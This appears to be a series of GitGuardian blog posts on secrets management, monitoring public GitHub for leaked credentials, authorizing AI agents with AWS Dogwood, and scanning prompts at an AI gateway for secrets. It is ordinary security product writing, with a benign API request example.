Security needs confidence that their credential security program finds real risk, prioritizes it, and removes it, while proving that progress is being made toward agreed-upon organizational goals. A mature secrets management strategy needs both the tooling for enterprise-wide vaulting and continual discovery across all surfaces.

Secrets management best practices

Every organization is on its own secrets management maturity journey. Use these six areas as a general roadmap:

Manage all critical secrets from a secret manager: Any secret that can reach something critical needs an authoritative home with oversight. Scope it to least privilege, show who owns it, and keep the vault easy enough for developers to use, so they don't build workarounds.
Detect everywhere else: Detection coverage should follow the lifecycle of the credential. While it is still vital to scan source code and Git history, teams also need to account for CI/CD systems, collaboration tools, developer endpoints, and public platforms like GitHub and DockerHub.
Close the loop: vault, rotate, and plan to migrate: Every finding needs its own remediation plan. That likely will mean quickly rotating or revoking any exposed credentials that are already vaulted. Use tools that can automatically move any discovered unmanaged secrets into an approved vault and account for that in code. Over time, teams need to employ identity-based approaches like OIDC and SPIFFE/SPIRE that are the only real cure to reduce how many secrets need to exist at all.
Prioritize by validity and reach: Teams need to quickly know which secrets bring the most risk. Credentials that still authenticate are a good start, but not the whole story. Just as important, especially for secrets that can not be verified, is what the key can access and how widely it was exposed to decide what comes first.
Guard the commit and the endpoint: Good developer tooling puts controls in place that eliminate the need for later remediation work. Pre-commit hooks keep secrets out of Git history. AI hooks stop coding agents from writing or using secrets. Endpoint detection finds credentials already stored locally.
Report your true secrets security coverage: Leadership needs to see that vault coverage is growing, and operational metrics, like time-to-revoke is falling. Auditors need to know when your SecOps workflows began and if remediation can be verified. Without an inventory to report from, these are impossible to deliver from a dashboard.

Together, these practices give you a program that can find credential risk, prioritize it, remove it, and prove the process is working.

How GitGuardian complements your secrets vault

GitGuardian provides the detection and discovery layer for the whole credential layer throughout your organization. Yes, it does safely map and inventory the secrets in your vaults. However, the platform finds credentials that were created outside the managed process and identifies copies that escaped after legitimate use.

GitGuardian provides holistic credential layer Coverage. Your team gets unparalleled visibility across source code repositories, CI/CD environments, public exposure, and developer endpoints. The platform uses specific secret detectors, finding known patterns, and generic detectors with contextual analysis, which eliminates false positives and finds secrets that don't match a fixed pattern.

Developer controls help stop new exposures closer to where they originate. ggshield is installed on hundreds of thousands of developer machines and CI/CD pipelines. We know the earlier any secrets are detected in the software development lifecycle, the easier it is to remediate. And now, GitGuardian's developer endpoint protection extends visibility into credentials already stored on local machines and inside emerging AI workflows, giving teams a way to inventory and deal with those risks before an incident occurs.

Public exposure adds another dimension. GitGuardian monitors for organizational secrets beyond repositories the company directly controls, while HasMySecretLeaked provides a way to determine whether a specific secret has appeared in GitGuardian's public exposure dataset.

If any secret is found, the platform streamlines incident response, including context. Integrations with SaaS platforms and IdP providers, Kubernetes, and CI/CD systems to show how a credential is being used and what permissions it grants, helping responders rotate secrets faster. This context lets you know what systems are most resilient if a secret was to leak and where things need to be escalated during an incident.

GitGuardian integrates with all leading secrets managers, including HashiCorp Vault, CyberArk, and AWS Secrets Manager. This integration works in both directions. Context helps teams understand whether a discovered credential is already managed, duplicated, or sitting entirely outside the approved process. With the platform's Push-to-Vault feature, teams can quickly move any secrets found outside proper management.

Your secrets security workflow needs to support the full credential lifecycle. Continual detection should catch every credential, wherever it appears. Teams need straightforward ways to prioritize any incidents, weeding out the low-risk ones automatically. Remediation should be automated as far as possible.

Vaulting in secrets managers remains the foundation for managing approved credentials. Detection gives security teams the visibility and evidence required to understand how well that foundation is working across the wider enterprise.

Book a demo to see how GitGuardian can complement your existing secrets vault and help measure credential risk across your environment.

FAQ

What does "secrets management" mean?

Secrets management is the process of controlling credentials throughout their lifecycle. It includes secure creation, storage, access, distribution, rotation, revocation, and retirement.

A complete program also needs visibility into credentials that exist outside approved storage. That allows teams to discover exposures and bring unmanaged credentials back under control.

Which secrets management tool is the best?

The right tool depends on the organization's architecture and the job the tool needs to perform.

Secrets vaults are designed to securely store and serve managed credentials. Detection platforms find credentials that appear outside that managed environment. Mature programs commonly use both capabilities because they address different parts of the credential lifecycle.

The GitGuardian guide to secrets management tools provides a deeper comparison of available approaches.

What is the difference between a secrets vault and secrets detection?

A secrets vault securely stores credentials and governs how applications and workloads access them. Secrets detection searches for credentials that appear elsewhere, including code, pipelines, public sources, and developer machines.

The vault provides the intended system of record. Detection measures the wider credential exposure and helps identify where policy and practice have diverged.

Do you need both a secrets vault and a secrets detection tool?

Organizations with a meaningful software development footprint benefit from both.

The vault manages credentials already enrolled in the approved system. Detection identifies secrets that were created elsewhere or copied outside that system during normal work.

Using both provides stronger inventory, faster remediation, and better evidence that secrets management policies are working.

Can secrets management be audited for security purposes?

Yes. Vault records can provide evidence around access, rotation, and credential lifecycle activity.

Detection adds evidence about credentials found outside approved management, how quickly exposures are resolved, and whether those credentials remain valid after remediation.

Together, these measurements help demonstrate control effectiveness rather than simply documenting that a secrets management control exists.

Public Secrets Monitoring: Find a Credential Leak Beyond Your Borders

Dwayne McDaniel — Thu, 08 Oct 2026 15:07:18 +0000

TL;DR

A credential leak far beyond company walls: 28.65 million new hardcoded secrets in public GitHub commits in 2025 (up 34%), and almost 80% of one customer's corporate leaks traced back to developers' personal repositories, a risk echoed by the CISA leak found in May 2026.
New verdicts cut through the noise: GitGuardian's Agents Analysis now cleanly labels each public incident, reorganizing the Public Monitoring queue around company relevance so analysts start where the risk actually is. It is available now for all customers.
Reasoning and feedback close the loop: A new Analysis tab shows exactly why an incident got its verdict, and analysts can thumbs up or down each call, helping GitGuardian sharpen company attribution as Agents Analysis becomes the default experience.

Your credential layer extends much farther than the systems your company owns.

Credentials move through company repositories, developer environments, and CI/CD systems. Some eventually cross into places your organization and security team do not control. That crossing point is a credential leak, and it doesn't wait for your team to notice it.

Public GitHub gives us a very clear picture of how often this happens.

GitGuardian detected 28.65 million new hardcoded secrets in public GitHub commits in 2025, up 34% from the previous year. About 5.6% of public repositories contained at least one secret, according to the State of Secrets Sprawl 2026.

GitHub itself has independently reported tens of millions of secret leaks across its platform. Different methodologies produce different totals, but the direction is clear. Credentials continue to escape into public development activity at enormous scale.

For a security team, finding secrets across that public surface creates another hard set of problems: "Which of those credentials are actually yours and which ones require action?"

Ever since GitGuardian was founded, we have been helping customers answer exactly that question with the platform's Public Monitoring capabilities.

Our latest update gives security, DevSecOps, and developer teams a much clearer, consistent, and actionable answer.

Your public credential exposure extends beyond the repositories you own

GitGuardian has scanned every commit that has been pushed to public GitHub repositories since 2017, as well as all private commits that became public. That visibility powers our Good Samaritan program, where we alert developers after detecting compromised credentials they accidentally exposed.

GitGuardian customers using the Public Monitoring capacity gain access to the same massive public dataset to identify exposures associated with their organization. Every public GitHub commit is scanned in real time, alongside historical scanning designed to uncover earlier exposures.

One former CISO explained why this visibility was so important after her team expanded its view beyond the repositories they controlled.

"What was very interesting and what we didn't anticipate was that most of the alerts came from the personal code repositories of our developers." - Anne Hardy, Talend

Our case study with Talend found that almost 80% of corporate credential leaks detected on GitHub occurred in developers' personal repositories. They knew this was such a serious issue that the team had even attempted to build its own solution. Personal repositories remained a major blind spot.

The CISA GitHub leak shows what that blind spot can look like

We got another very concrete reminder of this in May 2026. GitGuardian found a public GitHub repository named Private-CISA containing 844 MB of data connected to CISA. Some of the leaked credentials were still valid.

The repository included plaintext passwords and AWS tokens. It also contained Entra ID SAML certificates. There was plenty of operational context around those credentials too. CI/CD logs and Kubernetes configuration exposed details about how systems were deployed. Terraform code and internal documentation provided even more information about the environment.

Developers work across corporate and personal environments. They contribute to open source projects and experiment in their own repositories. Credentials can travel with that work. The repository might belong to the developer, but the credential can still grant the company access.

That is exactly the kind of visibility Public Monitoring was built to provide.

What is public secrets monitoring

Public secrets monitoring watches public development activity for compromised credentials connected to an organization.

GitGuardian Public Secrets Monitoring builds a company public perimeter using developers and GitHub organizations. Company-specific secret graspers add another layer of context. This lets us identify exposures in repositories the company does not administratively control.

The scale makes context essential.

A public repository might contain a perfectly real AWS credential that has nothing to do with your organization. Another repository might belong to someone you have never heard of while containing a credential surrounded by strong signals pointing back to your infrastructure.

Both are secrets. Only one might be yours.

Once a credential becomes public, the identity and permissions behind it determine the real risk.

Finding the secret is easier than deciding whether it belongs to you

Public Monitoring has always had to solve two problems.

First, detect secrets across an enormous public surface. This is rather straightforward to solve and is what drives our work on our secrets detection engine.

The second issue is determining which incidents deserve the attention of a particular company. This gets difficult rather quickly. A cloud credential appears in a developer's personal repository. The developer works for your company, but the credential could belong to a personal cloud account.

Another credential appears in a third-party repository. The repository has no obvious ownership connection to your company, but the surrounding context points to one of your internal services. This was the case with the CISA contractor who used a Yahoo email address.

Simple rules can provide useful clues, but at scale, they leave analysts with a lot of investigative work.

The new Agents Analysis experience makes GitGuardian's company-relevance analysis much easier to understand and use directly from the Public Monitoring workflow.

Company-related verdicts answer the question analysts actually have

Agents Analysis is enabled automatically for GitGuardian customers utilizing the public monitoring capability. All analyzed public incidents receive a Company-related verdict:

A Related verdict means the analysis concluded that the leak belongs to your company.
An Uncertain verdict means the available evidence could not support a definitive conclusion.
An Unrelated verdict means the analysis concluded that the incident does not belong to your organization.
Incidents awaiting analysis remain empty. Only deep analysis can positively confirm an incident as Related.

This gives analysts a much clearer place to begin.

The UX now reflects the question security teams actually need answered: "Does the available evidence indicate that this leaked credential belongs to us?"

The incident list now starts with relevance

The Public Monitoring incident list has also been reorganized around company relevance.

Users now see three new saved views alongside "All" and "Open."

Company-related collects incidents that the analysis connects to the organization.
Unclear if company-related gives analysts a focused queue for ambiguous cases.
Not company-related separates incidents that do not belong in the remediation workflow.

The Company-related and Risk score columns also appear by default.

This creates a much cleaner workflow. Public Monitoring starts with an enormous public dataset. Every irrelevant incident consumes investigation time. Repeatedly pulling a developer into an investigation that turns out to have nothing to do with the company also erodes confidence in the process. Relevance needs to be visible from the moment an analyst opens the queue.

Agent risk scores bring the real credential exposure toward the top

The release of the new Agents Analysis also marks a meaningful evolution in how public incidents are scored. The agent-generated score now accounts for how strongly the incident appears connected to the company, rather than a risk score focused primarily on the secret's characteristics and its exposure.

An incident determined to be Unrelated receives a score of zero. For example, if the platform can determine this was a test credential for an open-source project the developer contributes to, there should be no action needed, just an informational tag added. Any incident awaiting analysis has no score yet, further reducing the number of alerts that require no attention.

A public leak can stay dangerous long after everyone has forgotten the workflow that produced it. Prioritization based on your connection to your org becomes even more valuable when legacy credentials remain active for years. Our State of Secrets Sprawl 2026 revisited valid credentials originally found in 2022. Sixty-four percent were still active and exploitable in January 2026.

The Analysis tab exposes the reasoning behind the verdict

The biggest improvement in this release is the new Analysis tab.

Customers can now open an incident and see how GitGuardian reached its conclusion.

The tab shows the identified company and Company-related verdict. It also provides the reasoning behind that verdict. The Investigation details section shows how the incident moved through triage and deeper analysis when needed.

This gives analysts evidence they can inspect. The analysis might identify a connection with a known developer. It might find company-specific information near the credential. Several signals can combine into a strong case for ownership.

The analyst can compare those findings with their own knowledge and decide what to do next.

Public Monitoring has been doing the difficult work of finding relationships across public exposure for years. The new UI makes much more of that work visible.

Users can tell us when the analysis needs to improve

The Analysis tab now includes feedback controls too.

Users, for the first time, can give the result a thumbs up or thumbs down and optionally leave a comment. This will help us improve results over time and eliminate false positives faster.

Company attribution is a hard problem because every organization leaves a different trail across development infrastructure. Feedback gives us direct evidence about where the agents are getting the analysis right and where they need to improve.

If an incident is clearly yours and the analysis catches it, please tell us. If the analysis gets the relationship wrong, tell us that too.

Public Monitoring is part of a much larger credential layer problem

Public GitHub is only one place where credentials surface. The larger credential layer starts much earlier.

Plaintext credentials can spread through private repositories, local .env files, and internal ticketing systems. Those locations often feel controlled enough that teams tolerate secrets living there longer than they should.

Our data showed that 28% of secrets incidents occur entirely outside code repositories, including collaboration and productivity systems. Only 4% appear in both code repositories and those other sources.

Over time, copies accumulate. A developer can move code into a new repository. Someone can copy configuration into a support thread. A credential that once lived in an internal environment eventually appears somewhere in a public repo.

A public incident can therefore reveal credential sprawl that already existed elsewhere in the organization.

This is why GitGuardian frames the broader problem as credential layer security. We recently explored the same problem in more detail by following how credentials slip through the gaps between security tools.

Public Monitoring extends visibility into public sources where credentials can appear after crossing organizational boundaries. Coverage currently includes public GitHub commits and historical Gists, with additional public sources such as Docker Hub expanding that perimeter.

The goal is a clearer picture of where credentials exist and where they travel. Public Monitoring shows you the part of that credential layer that has crossed beyond your borders.

Agents Analysis is becoming the default Public Monitoring experience

Agents Analysis is now enabled by default for new Public Monitoring workspaces.

New users immediately get the Company-related verdict, agent risk score, Analysis tab, and new saved views.

Existing customer workspaces are being rolled over more gradually because Agents Analysis remains in beta and has not yet been enabled in every dashboard.

We recognize many existing customers already have workflows built around the previous tags and scoring. We want teams to understand how the updated analysis affects those workflows before changing the experience underneath them.

Customers who want to try the experience can work with their Customer Success Manager or contacts at GitGuardian.

Go find out how far your credential layer really extends

Public Monitoring gives you a useful place to start examining your true credential exposure.

We would be happy to show you the credentials GitGuardian believes belong to your organization and let you inspect the Analysis tab and inspect the evidence.

You should be asking how much of your credential layer exists outside the systems your security team currently controls. The GitGuardian platform can give you visibility into your part of that problem.

See the GitGuardian Platform's Public Monitoring workflow in action, including how we define your perimeter, how you can automate remediation, and how to leverage the explore functionality.

FAQ

How does the GitGuardian Platform monitor public GitHub for leaked secrets?

The GitGuardian Platform scans every commit pushed to public GitHub in real time and performs historical scanning to uncover earlier exposures. It connects those findings to your company's public perimeter using signals such as developers, GitHub organizations, and secret graspers.

Can company credentials leak through developers' personal GitHub repositories?

Yes. Personal repositories are a major blind spot because developers routinely work outside company-owned GitHub organizations. In our Talend case study, former CISO Anne Hardy said most of the alerts her team discovered came from developers' personal code repositories.

How does GitGuardian know whether a public secret belongs to my company?

The GitGuardian Platform first uses organizational context to connect a public incident to your company perimeter. Agents Analysis then evaluates the available evidence and can classify the incident as Related, Uncertain, or Unrelated.

How does Agents Analysis help reduce noise from public secret monitoring?

Agents Analysis brings company relevance directly into the investigation workflow. Analysts can start with the Company-related view, focus human review on Unclear if company-related incidents, and move unrelated exposures out of the primary remediation queue.

Can I see why GitGuardian classified a public secret as company-related?

Yes. The Analysis tab shows the Company-related verdict and the reasoning behind it. Analysts can also inspect the risk-score rationale and see how the incident progressed through triage and deeper analysis.

What happens if Agents Analysis gets a verdict wrong?

Users can give the analysis a thumbs up or thumbs down directly from the Analysis tab and optionally leave a comment. That feedback helps improve company attribution over time and gives GitGuardian direct evidence about where the analysis needs to get better.

AI Agent Authorization Beyond Authentication: A Look At AWS Dogwood

Dwayne McDaniel — Wed, 07 Oct 2026 12:32:13 +0000

TL;DR:

Credentials conflate authentication and authorization: Long-lived API keys, tokens, and certificates grant standing access to whoever holds them, making blast radius depend on permissions, not just validity.
AWS Dogwood adds temporal policy for agents: Released in August 2026 and built on Cedar, Dogwood evaluates sequences of prior actions, not just point-in-time requests, to authorize AI agent tool calls.
GitGuardian secures the credential layer underneath: Secret Analyzer adds permission context and the Exploration Map traces consumers and resources, helping teams migrate off long-lived secrets as leaks tied to AI grew 81% in 2025.

Most credentials grant standing privilege to the identity holding them

Credentials have always sat at the intersection of authentication and authorization. Unfortunately, we have historically combined these two related but separate ideas into single bits of data used by users, workloads, and increasingly, AI agents.

Every time someone in the org creates an API key, access token, certificate, or other secret, what they are really generating is an access path. That same credential also carries permissions. If and when the credential is copied into a CI/CD pipeline, application configuration, or local development laptop, that standing access becomes available to anyone who can gain access to it.

That model powered modern software for decades. It also created one of the hardest security problems security teams now face.

Short-lived, verifiable authentication grants are a move in the right direction

The industry has been steadily moving toward workload identity, short-lived credentials, and stronger separation between proving identity and deciding what that identity should be allowed to do. SPIFFE established a practical standard for workload identity, while SPIRE provides a production-ready implementation based on workload and node attestation. SPIFFE itself focuses on identity and authentication, leaving authorization policy to other systems.

Cloud-native approaches have been moving in the same direction for years. AWS Security Token Service lets workloads exchange trusted identity for temporary security credentials rather than depending on permanent access keys. AWS itself recommends temporary credentials for workloads to reduce the exposure created by long-lived keys.

While many teams focus on authentication, authorization is also on the minds of the identity professionals. The IETF's WIMSE working group is extending the conversation with standards work around workload identity across multi-system environments to explicitly address authorization for workloads while reducing their dependence on long-lived secrets.

AI agents make the authorization side of this evolution much more urgent. Agents can authenticate successfully and still make a dangerous decision. It may have a valid identity, use an approved tool, and call a resource it is technically permitted to reach. The harder question is whether that agent should be allowed to take this particular action, at this particular moment, based on everything it has already done.

AWS Dogwood is one of the most interesting new efforts aimed directly at that question.

Authentication vs. Authorization for Workloads and AI Agents

Authentication answers who or what is making a request. Authorization answers what that identity is allowed to do. Static credentials often blur those two concepts.

For most IT and SaaS, whoever possesses the key someone generated once, for likely a well-intentioned reason, can exercise those permissions until the key expires, is rotated, or is revoked.

That means the blast radius of a leaked secret depends on more than whether the secret is valid. Security teams also need to understand the permissions, roles, resources, and systems behind it.

This is becoming a central problem in non-human identity security, as we saw many people discuss at Identiverse 2026. Identity teams now talk about architectures that separate attestation, identity, and authorization. The goal is to move away from long-lived credentials and toward short-lived, attributable access that can be evaluated at runtime.

Autonomous agents are forcing us to have this conversation faster than most teams are ready for it. Proving that an agent has a trusted identity only answers the first part of the access decision. Security teams still need to decide what that identity should be able to reach and which actions should be permitted.

From RBAC and ABAC to Runtime AI Agent Authorization

Authorization is not a new concept, and we have already seen it go through several major evolutions.

Role-based access control (RBAC) associates an identity with a role and gives that role permissions.

Attribute-based access control (ABAC) adds more context by considering information about the identity, resource, requested action, or environment.

Relationship-based systems can evaluate how an identity relates to a resource. Cedar, the AWS open-source access control language, or Open Policy Agent, move those authorization decisions into centrally managed policy that can be evaluated consistently at runtime and represented as code or configuration.

Every evolution has added the same thing: more context. But the fundamental question remains: "should this identity be allowed to perform this action on this resource?"

Agentic systems introduce one more dimension. And sometimes the answer depends on what happened before. That is where AWS Dogwood comes in.

What Is AWS Dogwood?

AWS Dogwood was introduced in August 2026 as an open-source governance language for AI agents and their tools. Dogwood builds on Cedar while adding the ability to evaluate sequences of events through temporal policy.

Policy engines like Cedar are designed for point-in-time authorization decisions. A policy can evaluate a principal, action, resource, and the context surrounding the current request, then determine whether the request should be permitted.

That works well for questions such as whether an agent can read a file, whether a workload can invoke an API, or whether a service can write to a particular resource.

Agent workflows create situations where the safety of the current action depends on earlier actions.

Imagine a trading platform where someone has deployed an agent to sell shares when certain trends appear. Any individual sale, by itself, may meet normal authorization policy. An organization may also require a human to approve that exact sale within the previous hour. Evaluating only the current request cannot prove that the required sequence occurred.

Dogwood adds temporal conditions that let policies examine recent event history alongside the current request. This missing context is why so many rule-based systems struggle with event-based architectures.

This central focus of historical action context is what allows their authorization policies to express rules requiring human approval before an action, limits the number of tool calls during a period, maintains a running total across multiple transactions, and restricts later actions after an agent has accessed sensitive information.

For autonomous systems, leveraging history for making these decisions at machine speed becomes critical in many situations. Security teams set policy that asks whether an agent should call this tool given everything relevant that has already happened during the session, not just if, in isolation, the request should be allowed.

Why AI Agent Authorization Needs Workflow Context

Agentic systems can create risk across an entire sequence of individual turns that each appear benign.

Reading a sensitive file may be permitted. Making an outbound request may also be permitted. Reading sensitive information and then sending that information to an external system creates a very different security outcome. The ability to do all three is what security researcher Simon Willison calls the "lethal trifecta."

AWS designed Dogwood around exactly that sequence and the real-world risks it introduces.

Dogwood's temporal conditions can examine prior tool requests and their outcomes. The system can generate an action schema from tools exposed through the Model Context Protocol (MCP), which are the basis for the majority of emerging agent architectures in the enterprise.

AI agent security increasingly comes down to the credentials and permissions an agent can reach. Manipulating an agent becomes far more damaging when that agent can access highly privileged credentials or systems. In other words, credentials and permissions determine the real blast radius of agentic AI security incidents.

Agents are also frequently operating with credentials originally created for humans, applications, or development workflows. That creates another identity problem because the agent inherits the authority of whoever supplied the credential.

Runtime authorization at the tool boundary gives organizations another control point for limiting that authority.

How Dogwood Fits With OAuth, AuthZEN, and Modern IAM

Dogwood is part of a larger modernization of identity and access management.

It fits with the general evolution where OAuth provided a framework for delegated authorization and where OpenID Connect added an identity layer. Technology like SPIFFE and SPIRE increasingly let machines exchange trusted identity for short-lived access without storing permanent shared secrets.

AuthZEN adds context pointing towards intent

The OpenID Foundation finalized AuthZEN Authorization API 1.0 in January 2026. The specification defines a common interface between a Policy Enforcement Point and a Policy Decision Point. Applications can request an authorization decision without needing to understand the implementation of the policy engine producing it.

AuthZEN and Dogwood are largely complementary and are both attempts to broadly answer the question of authorization intent.

AuthZEN can standardize how the authorization request reaches the decision point. Dogwood can make that decision point capable of answering harder questions by evaluating the current request together with the agent's recent history.

The broader architecture starts to become much clearer.

Modern IAM is increasingly moving toward stronger workload identity, shorter credential lifetimes, externalized policy decisions, and more context around authorization.

We are increasingly seeing teams adopt access paths where each workload proves its identity via short-lived credentials or tokens that carry that identity to another system. This identity is carried to an enforcement point where an authorization service evaluates the identity, requested action, resource, current context, and potentially the sequence of events that led there.

That enforcement point then allows or blocks the action.

Any authentication modernization has to be paired with privilege containment, ownership, lifecycle governance, and continuous exposure monitoring. Otherwise, how do you have enough context about what to authorize?

Modern IAM Authorization Does Not Erase Legacy Credentials

There is a practical problem inside almost every established organization.

Teams are designing new systems around workload identity, OAuth, OIDC, federation, temporary credentials, and richer authorization policies. Years of existing infrastructure still depend on API keys, personal access tokens, service account credentials, certificates, database passwords, and other long-lived secrets.

Those credentials continue to carry standing access. That standing access is part of the organization's existing identity infrastructure.

Directories and IAM systems may understand the identity and policy, while the credential itself has been copied through repositories, pipelines, tickets, developer machines, or application configurations. GitGuardian found 28.65 million new hardcoded secrets added to public GitHub commits in 2025, a 34% year-over-year increase. Credential leaks associated with AI services grew 81%.

Teams need a map of the standing permissions they already have in order to embrace future-looking authentication via modern workload identity and authorization tech like Dogwood.

GitGuardian Secret Analyzer Shows What a Credential Can Do

Finding a secret answers one important question: where is the credential exposed?

Remediation requires understanding what access sits behind it.

GitGuardian Secret Analyzer enriches supported credentials with information such as roles, permissions, ownership, and related context. This helps teams distinguish between credentials of the same type that carry very different levels of authority.

A narrowly scoped read token presents a different risk from a token with administrative permissions. A valid secret capable of modifying critical resources represents a much larger blast radius. This is where secrets security and IAM authorization meet.

As organizations move toward workload identity and short-lived access, they need to understand the standing privileges attached to the long-lived credentials they plan to remove. Secret Analyzer provides the context for what permissions a secret grants that can help teams prioritize which credentials require immediate attention and understand what access needs to be reduced, recreated, or eliminated during migration.

GitGuardian is also extending privilege context across non-human identities. NHI Governance can surface admin and overprivileged identities across AWS, Microsoft Entra, and Okta, connecting credential exposure to the authority behind the identity.

The Exploration Map Reveals Credential Blast Radius

Permissions are only one part of the migration problem; security and IAM teams also need to understand where a credential lives, what consumes it, which resources it reaches, and what might break when it is revoked.

GitGuardian's Exploration Map brings those relationships together.

For a non-human identity, the map can show where secrets are stored in secret managers, which consumers use them, which resources those consumers access, the permissions associated with those resources, and the public or private incidents connected to that identity.

That context becomes especially useful while replacing long-lived credentials.

A team may discover an AWS key in source code and decide that the workload should move to temporary credentials or workload identity. Before revoking the key, responders need to identify every application, job, deployment pipeline, or service that still depends on it.

They also need to understand the permissions currently attached to the credential. Otherwise, the replacement identity can easily recreate years of accumulated privilege.

The Exploration Map gives security, development, and IAM teams a shared picture of that transition.

Secure the Credential Layer While Modernizing Authentication and Authorization

Dogwood is an important step in the evolution of AI agent authorization because it recognizes that identity and point-in-time permissions only tell part of the story. Autonomous systems create sequences of actions, and authorization policy increasingly needs to understand those sequences.

Workload identity, temporary credentials, standardized authorization APIs, and runtime policy are giving organizations better ways to authenticate machines and control what they can do. GitGuardian is helping teams make that transition with visibility into the credential layer they already have.

The GitGuardian platform is focused on detecting secrets across the places developers, workloads, and agents actually use them, wherever they are living in plaintext.

As you adopt workload identity and authorization approaches such as Dogwood, start by understanding the credentials that still carry your existing access. Detect them. Understand what they authorize. Remediate the standing access they represent. Prevent the next generation of workloads and AI agents from rebuilding the same credential sprawl.

Get started with GitGuardian and secure your credential layer as your organization moves toward short-lived workload identity and runtime authorization.

FAQ

What is AWS Dogwood?

AWS Dogwood is an open-source governance language for AI agents and their tools, introduced in August 2026. It builds on Cedar by adding temporal policy that evaluates sequences of prior actions alongside the current request, rather than authorizing each request in isolation.

How is authorization different from authentication for AI agents?

Authentication answers who or what is making a request. Authorization answers what that identity is allowed to do. An agent can authenticate successfully with a valid identity and still take a dangerous action if the authorization decision doesn't account for what it has already done.

Why do AI agents need authorization based on history, not just current requests?

Individual actions like reading a sensitive file or making an outbound request may each be permitted on their own. Reading sensitive data and then sending it externally creates what security researcher Simon Willison calls the "lethal trifecta," a risk that only becomes visible when policy considers the sequence of events rather than a single point-in-time request.

How does AWS Dogwood fit with AuthZEN and OAuth?

These technologies are complementary. AuthZEN, finalized by the OpenID Foundation in January 2026, standardizes how an authorization request reaches a policy decision point. Dogwood makes that decision point capable of evaluating harder questions by examining an agent's recent history alongside the current request, building on the broader shift toward workload identity, OAuth's delegated authorization, and OpenID Connect's identity layer.

Does workload identity and modern authorization eliminate the need for credential security?

No. Most organizations still depend heavily on long-lived API keys, personal access tokens, and other static credentials that carry standing access. GitGuardian found 28.65 million new hardcoded secrets added to public GitHub commits in 2025, a 34% year-over-year increase, with leaks tied to AI services growing 81%. Modernizing authentication and authorization has to be paired with visibility into those existing credentials.

How does GitGuardian help teams migrate to workload identity and runtime authorization like Dogwood?

GitGuardian Secret Analyzer adds permission context to exposed credentials, showing roles, ownership, and authority so teams can prioritize which secrets need immediate attention. The Exploration Map connects identities, consumers, secrets, resources, and incidents so teams can see what depends on a credential before revoking and replacing it with short-lived, workload-based access.

Generative AI Security: Are Your Developers Pasting Secrets Into LLMs?

Dwayne McDaniel — Tue, 06 Oct 2026 12:53:15 +0000

TL;DR

81% jump in AI-service leaks: GitGuardian detected over 1.27 million leaked secrets tied to AI services in 2025, an 81% jump from the previous year, with AI-assisted code leaking secrets at roughly twice the GitHub-wide rate.
Hundreds of incidents in weeks: One customer deployed GitGuardian behind their internal AI gateway and surfaced hundreds of secret incidents within weeks, a significant share valid at detection, none of which ever touched a git repository.
Four-step scan via Custom Source: The AI gateway forwards each payload to GitGuardian's scan API tagged with a Custom Source UUID, scans it in memory through 600+ detectors, and creates incidents without storing the content.
Two-week non-blocking test: Non-blocking mode lets a request through and logs the incident so revoking valid findings and measuring real exposure over two weeks is possible, while blocking rejects the request before the provider is called, skipping rotation.

One customer deployed GitGuardian behind their internal AI gateway. Within weeks, we had surfaced hundreds of secret incidents flowing through it, a significant share of them valid at the time of detection.

None of them ever touched a git repository. They went straight from a developer's terminal or IDE into a prompt or a tool call, and out to a third-party model provider.

This tracks with what we see at scale. Across 2025, secrets leaked from AI-assisted code at roughly twice the GitHub-wide rate, and GitGuardian detected over 1.27 million leaked secrets tied to AI services, an 81% jump from the previous year. Those figures come from code we can see. Prompt traffic is the part nobody is counting.

The channel nobody scans

The behavior that creates the exposure is mundane. A developer debugs a failing request and pastes the whole curl command, headers included. Someone drops a .env file into a chat window and asks the model to explain a variable. An agent reads a config file and forwards it as context on a tool call. Nobody is being careless on purpose. They are pasting a hundred lines and not reading all hundred.

Secrets detection matured around code. Repositories, CI logs, container images, ticketing tools. Prompts are newer ground, and coverage is uneven.

Part of it is already solved at the source — ggshield AI Hooks scan prompts, tool calls, and tool output inside Cursor, Claude Code, Codex, and VS Code with Copilot, and block the action before it reaches the model. Deploy them across your fleet. It is the earliest and cleanest place to catch a secret.

The two controls do different jobs, and the parallel with git will be familiar. AI Hooks are your pre-commit: closest to where the mistake happens, best remediation experience, scoped to the tools and machines you deploy them on. The AI gateway is your pre-receive: further from the developer, but it sees every request that crosses it. The agent running in CI. The batch job calling a model API. The internal app nobody classified as an AI tool, classic shadow AI territory. You want both.

Three things make this worse than the equivalent paste into a Slack thread:

The content leaves your perimeter immediately. It goes to a third party, under that provider's retention terms, not yours.
Nothing persists on your side by default. A commit sits in a repo you own and can scan retroactively. Prompt traffic is gone the moment it is sent, unless you capture it in flight.
Agent traffic carries more. An agent ships whole files as context. A human question ships a sentence.

Why your AI gateway is the right place to catch it

A growing number of engineering organizations already route LLM traffic through a single internal AI gateway, sometimes called a LLM proxy or LLM gateway. They do it for cost attribution, rate limiting, model routing, and to avoid handing provider API keys to every developer. The AI gateway gives their developers one service with a single base URL regardless of which provider serves the request.

That AI gateway also sees every prompt, every tool call, and every response. It is the one place where this traffic is already in cleartext and already yours.

One detail makes the idea practical: latency matters far less here. A model call already takes seconds. A scan on top is noise against that baseline. Put the same approach on a standard network proxy, and the delay becomes unacceptable. On an AI gateway, the budget is already there.

How it works

The pattern is four steps.

Your AI gateway receives a request headed for a model provider.
The AI gateway forwards the payload to GitGuardian's scan API, tagged with your Custom Source UUID. We scan in memory and return findings. The content is not stored.
GitGuardian runs it through 600+ detectors and creates incidents in your dashboard.
The AI gateway either forwards the request or blocks it, depending on the mode you choose.

Blocking or non-blocking

Both work. The trade-off is real, so decide deliberately.

Non-blocking. The request goes through, and you get the incident. The credential reached the provider, so revoke every valid finding. In exchange, you get measurement: two weeks tells you how much you are actually leaking.

Blocking. The AI gateway rejects the request and never calls the provider. The developer removes the credential and retries. That costs a minute and saves you a rotation. Settle one thing first: how a developer reports a false positive.

Start non-blocking to size the problem, then switch once you trust the signal.

Implementation

Prerequisites

A GitGuardian account with Custom Sources (BYOS) enabled
An AI gateway you control
A service account with scan and scan:create-incidents permissions

Step 1: Create the Custom Source

In your GitGuardian dashboard, go to Settings → Integrations → Sources, then Secrets scanning → Add Custom Source. Name it something like "AI Gateway". Copy the UUID it generates.

Step 2: Create a service account

Create a dedicated service account with the scan and scan:create-incidents permissions. Store the token in your secrets manager, not in the AI gateway config.

Step 3: Send the payload to GitGuardian

Post the content to /v1/scan/create-incidents. The body takes your source UUID and a list of documents:

{
  "source_uuid": "YOUR_SOURCE_UUID",
  "documents": [
    {
      "filename": "prompt.txt",
      "document": "<content to scan>",
      "location": { "url": "https://ai-gateway.internal/v1/models/<model>/invoke" }
    }
  ]
}

